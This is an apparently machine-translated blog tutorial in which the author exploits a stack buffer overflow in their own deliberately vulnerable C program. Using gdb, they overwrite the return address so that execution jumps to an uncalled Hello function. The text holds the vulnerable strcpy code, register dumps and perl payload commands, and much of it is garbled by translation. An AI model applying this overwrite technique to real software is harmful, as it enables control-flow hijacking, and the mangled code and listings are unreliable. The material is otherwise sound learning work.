Recently, the Internet search for a buffer overflow attack article, experimented, successfully implemented a buffer overflow attack, and now the process of recording.
#include <stdio.h>
#include <string.h>
void Hello ()
{
printf ("hello\n");
}
int fun (char *str)
{
char buf[10];
strcpy (buf, str);
printf ("%s\n", buf);
return 0;
}
int main (int argc, char **argv)
{
int i=0;
char *str;
STR=ARGV[1];
Fun (str);
return 0;
}
The code above does not call the function Hello, and now overflows through the buffer to invoke the Hello function.
The code is saved as test.c and placed in the/root directory.
Compiling test.c
GCC-G-O test test.c
GDB test
Disassemble the three functions of Hello, fun, main
[root@localhost ~]# gdb test GNU gdb Fedora (6.8-1.FC9) Copyright (C) 2008 Free Software Foundation, Inc. License: GNU GPL version 3 or later
The first address of the Hello function is 0X080483F4, and the address of call when the fun function is invoked in the main function is 0x08048460, and the address of the instruction is the address of the 0x0804845b,call, which is placed in the register EIP. When the buffer overflows, I will use the 0x08048460.
List Source code:
(GDB) L
9 { char buf[10];
One strcpy (buf, str); printf ("%s\n", buf);
return 0; the int main (int argc, char **argv) { int i=0;
(GDB) Char *str; str=argv[1]; Fun (str);
return 0; }
Set breakpoints on line 12 and 21.
(GDB) b
Breakpoint 1 at 0x8048420:file test.c.
(GDB) b
Breakpoint 2 at 0x8048455:file test.c, line 21.
Now enter AAAA to run and view register EBP, ESP.
(GDB) r AAAA
starting program:/root/test AAAA
Breakpoint 2, Main (argc=2, argv=0xbf999114) at test.c:21
21
fun (str);
Missing separate Debuginfos, Use:debuginfo-install glibc.i686
(gdb) x/x $ebp
0xbf999078: 0xbf9990e8
(gdb) x/8x $esp
0xbf999060: 0x08048034 0x08049690 0xbf999088 0x00000000 0xbf999070
: 0xbf9998c0 0xbf999090 0xbf9990e8 0x058f95d6
View the address of STR
(GDB) p str
$ = 0xbf9998c0 "AAAA"
Single-step running and view registers
(gdb) Si
0x08048458 Fun (str);
(gdb) x/8x $esp
0xbf999060: 0x08048034 0x08049690 0xbf999088 0x00000000 0xbf999070
: 0xbf9998c0 0xbf999090 0xbf9990e8 0x058f95d6
(gdb) Si
0x0804845b Fun (str);
(gdb) x/8x $esp
0xbf999060: 0xbf9998c0 0x08049690 0xbf999088
0x00000000 0xbf999070 : 0xbf9998c0 0xbf999090 0xbf9990e8 0x058f95d6
See now parameter str has been pressed into the stack
Single-Step running again
(gdb) Si
fun (str=0xbf9998c0 "AAAA") at Test.c:9
9 {
(gdb) x/8x $esp
0xbf99905c: 0x08048460 0xbf9998c0 0x08049690 0xbf999088
0xbf99906c: 0x00000000 0xbf9998c0 0xbf999090 0xbf9990e8
The address of the following instruction of call in the main function was found 0x08048460 also pressed into the stack.
Step again and view the register contents:
(GDB) n
- strcpy (buf, str);
(GDB) n
Breakpoint 1, Fun (str=0xbf9998c0 "AAAA") at Test.c:12 printf ("%s\n", buf);
(gdb) x/8x $esp
0xbf999040: 0xbf99904e 0xbf9998c0 0x00000000 0x41410000 0xbf999050
: 0x00004141 0x08049690 0xbf999078 0x08048460
We've seen 4, 41, and the ASCII value of a is 41.
Now, in the command-line argument, add a few more aces to 14 A to see what is in ESP when you run to 12 rows.
(GDB) R ' perl-e ' print ' A ' x14 ' The program
being debugged has been started.
Start it from the beginning? (Y or N) y
starting program:/root/test ' perl-e ' print "A" x14 '
Breakpoint 2, Main (argc=2, argv=0xbffa6f24) at t Est.c:21 Fun (str);
(GDB) n
Breakpoint 1, Fun (str=0xbffa78b6 ' A ' <repeats times>) at Test.c:12 printf ("%s\n", buf); c10/> (gdb) x/8x $esp
0xbffa6e50: 0xbffa6e5e 0xbffa78b6
0x00000000 0x41410000 0xbffa6e60: 0x41414141 0x41414141 0x41414141 0x08048400
There are already 14 aces found in ESP, and the buf capacity is 10 bytes. A A is a byte. And 0x08048460 becomes 0x08048400, because 0 is the end of the string. So, as long as we add 4 more bytes, we can cover the 0x08048460.
(GDB) R ' perl-e ' print ' A ' x18 ' The program
being debugged has been started.
Start it from the beginning? (Y or N) y
starting program:/root/test ' perl-e ' print "A" x18 '
Breakpoint 2, Main (argc=2, argv=0xbfee6d34) at t Est.c:21 Fun (str);
(GDB) n
Breakpoint 1, Fun (str=0xbfee7800 "") at Test.c:12 printf ("%s\n", buf);
(gdb) x/8x $esp
0xbfee6c60: 0xbfee6c6e 0xbfee78b2 0x00000000
0x41410000 0xbfee6c70 : 0x41414141 0x41414141 0x41414141 0x41414141
Now, the 0x08048400 has been completely covered and turned into 41.
In order for the program to enter the Hello function, you need to change the 0x08048460 to the first address of hello.
(GDB) R ' perl-e ' print ' A ' x14;print ' \xf4\x83\x04\x08 ' The program
being debugged has been started.
Start it from the beginning? (Y or N) y
starting program:/root/test ' perl-e ' print "A" X14;print "\xf4\x83\x04\x08" '
Breakpoint 2, Main (argc =2, argv=0xbfd70414) at test.c:21 Fun (str);
(GDB) n
Breakpoint 1, Fun (str=0xbfd71800 "") at Test.c:12 printf ("%s\n", buf);
(GDB) n
aaaaaaaaaaaaaa 魞
return 0;
(GDB) n
-
(gdb) n
hello () at Test.c:4
4 {
Now with the first address of 14 aces and Hello, 0x08048460 is covered.
Now, quit GDB and run directly to see the effect.
(GDB) Q is
running. Exit anyway? (Y or N) y
[root@localhost ~]#
[root@localhost ~]#./test ' perl-e ' print ' A ' x14;print ' \xf4\x83\x04\x08 '] '
aaaaaaaaaaaaaa 魞
Hello
paragraph 敊 xuan
[root@localhost ~]#
Look, the output Hello, the successful overflow.
Summary, function calls, assembly language, there will be call instructions, called the address of the following instruction, will be saved to the EIP and pressed into esp. All we need to do is overwrite that address and we can overflow the buffer.
Read a lot of articles to understand, the university learned 8086 assembly language, finally remember that point, it seems to be more review later. The next step is to learn how to write Shellcode.